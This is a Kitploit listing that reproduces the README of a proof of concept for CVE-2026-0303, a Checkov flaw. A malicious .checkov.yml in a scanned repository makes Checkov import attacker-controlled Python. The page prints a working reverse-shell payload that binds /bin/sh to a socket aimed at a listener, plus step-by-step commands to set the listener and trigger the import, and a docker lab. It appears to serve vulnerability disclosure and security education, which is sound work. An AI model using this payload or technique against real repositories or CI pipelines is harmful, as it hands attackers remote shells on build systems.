Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-0303 — Checkov PoC: arbitrary code execution through auto-loaded configuration and unsigned external Python checks. | Kitploit
Tools/GitHubGitHub/yonliud/cve-2026-0303
Static AnalysisVulnerability AnalysisCode AnalysisExploitationDevSecOpsSupply Chain SecurityLearning & EducationLabs & Practice
GitHubyonliud/cve-2026-0303

CVE-2026-0303

Checkov PoC: arbitrary code execution through auto-loaded configuration and unsigned external Python checks.

View Repository
562 months agoNot yet reviewed
Share

Checkov Arbitrary Code Execution (CVE-2026-0303)

CVE: CVE-2026-0303 | CVSS Base: 6.3 | Severity: Low

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H

CVE-2026-0303 - Arbitrary code execution vulnerability in Checkov.
Published by Palo Alto Networks on September 9, 2026.

Affected versions: Checkov 3.2.0 through 3.2.531
Fixed version: Checkov 3.2.532

TLDR

Arbitrary code execution in Checkov through an auto-loaded .checkov.yml file -> execution of attacker-controlled Python through an unsigned external custom check.

Demo

https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f

The Vulnerability

Checkov supports external Python checks. These checks are intentionally loaded as Python modules, which means that top-level Python statements execute during module import.

When Checkov scans a directory, it automatically searches that directory for a .checkov.yml or .checkov.yaml configuration file, an attacker-controlled configuration file could set external-checks-dir to a directory inside the scanned repository.

This creates the following execution chain:

Victim scans an untrusted repository
        ->
Checkov automatically loads .checkov.yml
        ->
The configuration sets external-checks-dir
        ->
Checkov imports an attacker-controlled Python module
        ->
Top-level Python code executes with Checkov's privileges

The attacker does not need to exploit the Terraform parser or provide a valid Checkov policy. Code execution occurs when Checkov imports the Python file.

This is particularly relevant to CI pipelines that automatically run Checkov against pull requests or other untrusted repository content.

Payload

The lab payload connects from the Checkov container to a listener on the host:

def exploit():
    lhost = "host.docker.internal"
    lport = 4545
    sock = socket.create_connection((lhost, lport))
    for file_descriptor in (0, 1, 2):
        os.dup2(sock.fileno(), file_descriptor)
    subprocess.call(["/bin/sh", "-i"])


exploit()

Usage

Modify the payload at exploit\external-checks\poc_check.py:

lhost = "127.0.0.1"
lport = 4444

Start a listener on the host:

ncat -lvkp 4444

Trigger the vulnerable behavior by scanning the attacker-controlled directory:

checkov -d /workspace --framework terraform --skip-download

Checkov automatically reads /workspace/.checkov.yml, discovers the external check directory, and imports poc_check.py. The listener should receive the shell when the module-level exploit() call executes.

Lab

I have provided a simple docker lab that you can setup via

docker compose up -d

and connect to it's shell via

docker exec -it scan-server /bin/sh

Disclaimer

This repository contains an independent proof of concept for CVE-2026-0303. The vulnerability was recreated and tested in an isolated laboratory environment.

This project is intended solely for authorized security research, education, and testing in isolated environments. Do not use it against systems, networks, repositories, or data without explicit authorization from the owner.

The author provides this project as-is, without warranties of any kind, and accepts no responsibility for damage, data loss, service disruption, unauthorized access, or misuse of this software or its derivatives.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →